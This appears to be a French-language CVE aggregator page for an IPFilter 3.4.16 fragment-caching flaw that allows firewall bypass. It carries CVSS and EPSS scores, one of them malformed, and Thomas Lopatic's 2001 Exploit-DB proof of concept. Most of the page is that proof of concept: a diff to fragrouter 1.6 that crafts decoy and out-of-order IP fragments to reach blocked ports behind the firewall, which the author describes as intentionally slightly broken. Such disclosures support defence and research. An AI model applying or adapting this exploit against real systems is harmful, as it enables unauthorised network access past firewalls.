CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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IPFilter 3.4.16 and earlier does not include sufficient session information in its cache, which allows remote attackers to bypass access restrictions by sending fragmented packets to a restricted port after sending unfragmented packets to an unrestricted port.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
2.58%
–
2024-02-11
–
–
–
2.58%
–
2024-06-02
–
–
–
2.58%
–
2024-09-15
–
–
–
2.58%
–
2024-09-22
–
–
–
2.58%
–
2024-10-27
–
–
–
2.58%
–
2024-12-22
–
–
–
3.12%
–
2025-01-19
–
–
–
3.12%
–
2025-03-18
–
–
–
–
3.36%
2025-03-30
–
–
–
–
3.36%
2025-04-15
–
–
–
–
3.36%
2025-04-15
–
–
–
–
3.36,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2001-04-08 22h00 +00:00 Auteur : Thomas Lopatic EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/2545/info
IPFilter is a packet filtering implementation that is in wide use on a variety of Unix systems.
There exists a vulnerability in IPFilter that can allow an attacker to communicate with blocked ports on hosts behind an IPFilter firewall.
The vulnerability is the result of IPFilter caching the decision to forward or drop a fragment, and applying this decision to other IP fragments with the same IP id. Even when a fragment is an 'initial' fragment (fragment with a fragment offset of 0) which may contain a TCP or UDP header, it will be evaluated based on the decision cache.
As a result, an attacker can establish a 'permit' decision cache in an IPFilter firewall and then successfully pass fragments with arbitrary UDP or TCP headers through the firewall bypassing the ruleset.
# Originally from Thomas Lopatic's advisory,
# posted to Bugtraq on April 9, 2001.
# http://www.securityfocus.com/archive/1/174913
Demonstration source code
-------------------------
These are the - intentionally slightly broken - diffs to be applied to
fragrouter 1.6 to implement the described attack. Supply the "-M3"
option to fragrouter and route all your packets to the fragrouter host
to comfortably walk through an IP Filter installation that exposes the
described vulnerability.
---- cut here ----
diff -c -r fragrouter-1.6.orig/attack.c fragrouter-1.6/attack.c
*** fragrouter-1.6.orig/attack.c Tue Sep 21 17:16:59 1999
--- fragrouter-1.6/attack.c Sat Apr 7 16:59:05 2001
***************
*** 126,132 ****
NULL, /* ATTACK_MISC */
"misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
"misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
! NULL,
NULL,
NULL,
NULL,
--- 126,132 ----
NULL, /* ATTACK_MISC */
"misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
"misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
! "misc-3: IP Filter - consult the bugtraq archives for April 2001 :-)",
NULL,
NULL,
NULL,
***************
*** 209,214 ****
--- 209,217 ----
}
if (attack_num == 2) {
frag = misc_linuxipchains(pkt, len);
+ }
+ if (attack_num == 3) {
+ frag = misc_ipfilter(pkt, len);
}
if (frag) {
send_list(frag->head);
diff -c -r fragrouter-1.6.orig/misc.c fragrouter-1.6/misc.c
*** fragrouter-1.6.orig/misc.c Tue Sep 21 17:14:07 1999
--- fragrouter-1.6/misc.c Sat Apr 7 17:15:56 2001
***************
*** 206,208 ****
--- 206,422 ----
return (list->head);
}
+
+ /*
+ * This demonstrates a fragmentation vulnerability in IP Filter.
+ *
+ * The code needs a small corretion to work properly.
+ *
+ * Thomas Lopatic, 2001-04-06
+ */
+
+ /*
+ * These are the ports that we have access to.
+ */
+
+ #define IPFILTER_OPEN_TCP_PORT 22
+ #define IPFILTER_OPEN_UDP_PORT 53
+
+ ELEM *
+ misc_ipfilter(u_char *pkt, int pktlen)
+ {
+ ELEM *new, *list = NULL;
+ struct ip *iph;
+ unsigned char *frag[3], *mod, *payload;
+ int i, hlen, off, len[3], copy, rest;
+ static short id = 1;
+
+ iph = (struct ip *)pkt;
+
+ if (iph->ip_p != IPPROTO_UDP && iph->ip_p != IPPROTO_TCP)
+ return NULL;
+
+ iph->ip_id = htons(id);
+
+ if (++id == 0)
+ ++id;
+
+ hlen = iph->ip_hl << 2;
+
+ payload = pkt + hlen;
+ rest = pktlen - hlen;
+
+ for (i = 0; i < 3; i++) {
+
+ /*
+ * Select the offset and the length for each fragment
+ * of the decoy packet.
+ */
+
+ switch (i) {
+ case 0:
+ off = IP_MF;
+ if (iph->ip_p == IPPROTO_UDP)
+ len[i] = 8;
+ else
+ len[i] = 24;
+ break;
+
+ case 1:
+ if (iph->ip_p == IPPROTO_UDP)
+ off = 1 | IP_MF;
+ else
+ off = 3 | IP_MF;
+ len[i] = 8;
+ break;
+
+ default:
+ if (iph->ip_p == IPPROTO_UDP)
+ off = 2;
+ else
+ off = 4;
+ if (rest > 0)
+ len[i] = rest;
+ else
+ len[i] = 1;
+ break;
+ }
+
+ /*
+ * Create the fragment.
+ */
+
+ if ((frag[i] = malloc(hlen + len[i])) == NULL) {
+ while (--i > 0)
+ free(frag[i]);
+ return NULL;
+ }
+
+ memcpy(frag[i], pkt, hlen);
+
+ /*
+ * Copy a piece of payload and pad with null
+ * bytes if necessary.
+ */
+
+ copy = len[i];
+
+ if (rest < copy)
+ copy = rest;
+
+ if (copy > 0) {
+ memcpy(frag[i] + hlen, payload, copy);
+ payload += copy;
+ rest -= copy;
+ }
+
+ if (copy < len[i])
+ memset(frag[i] + hlen + copy, 0, len[i] - copy);
+
+ /*
+ * No need to adjust the checksum.
+ * It is not verified by IP Filter.
+ */
+
+ if (i == 0)
+ *(unsigned short *)(frag[i] + hlen + 2) =
+ (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
+ htons(IPFILTER_OPEN_TCP_PORT);
+
+ /*
+ * Fix the IP header.
+ */
+
+ iph = (struct ip *)frag[i];
+
+ iph->ip_len = htons((short)(hlen + len[i]));
+ iph->ip_off = htons((short)off);
+ }
+
+ if (i == 3)
+ return NULL;
+
+ /*
+ * First have IP Filter create a state-table entry using
+ * the original packet with a modified destination port.
+ */
+
+ if ((mod = malloc(pktlen)) == NULL) {
+ free(frag[0]);
+ free(frag[1]);
+ free(frag[2]);
+ return NULL;
+ }
+
+ memcpy(mod, pkt, pktlen);
+
+ *(unsigned short *)(mod + hlen + 2) =
+ (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
+ htons(IPFILTER_OPEN_TCP_PORT);
+
+ new = list_elem(mod, pktlen);
+ free(mod);
+
+ if (new == NULL) {
+ free(frag[0]);
+ free(frag[1]);
+ free(frag[2]);
+ return NULL;
+ }
+
+ list = list_add(list, new);
+
+ /*
+ * Then fragment #1 goes first...
+ */
+
+ new = list_elem(frag[0], len[0] + hlen);
+ free(frag[0]);
+
+ if (new == NULL) {
+ free(frag[1]);
+ free(frag[2]);
+ return NULL;
+ }
+
+ list = list_add(list, new);
+
+ /*
+ * ... then fragment #3 (out of order)...
+ */
+
+ new = list_elem(frag[2], len[2] + hlen);
+ free(frag[2]);
+
+ if (new == NULL) {
+ free(frag[1]);
+ return NULL;
+ }
+
+ list = list_add(list, new);
+
+ /*
+ * ... then fragment #2...
+ */
+
+ new = list_elem(frag[1], len[1] + hlen);
+ free(frag[1]);
+
+ if (new == NULL)
+ return NULL;
+
+ list = list_add(list, new);
+
+ /*
+ * ... and finally the original packet.
+ */
+
+ new = list_elem(pkt, pktlen);
+
+ if (new == NULL)
+ return NULL;
+
+ list = list_add(list, new);
+
+ return list->head;
+ }
diff -c -r fragrouter-1.6.orig/misc.h fragrouter-1.6/misc.h
*** fragrouter-1.6.orig/misc.h Mon Jul 26 17:08:51 1999
--- fragrouter-1.6/misc.h Sat Apr 7 16:59:05 2001
***************
*** 45,48 ****
--- 45,50 ----
ELEM *misc_linuxipchains(u_char *pkt, int pktlen);
+ ELEM *misc_ipfilter(u_char *pkt, int pktlen);
+
#endif /* MISC_H */
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Darren_reed>>Ipfilter >> Version To (including) 3.4.16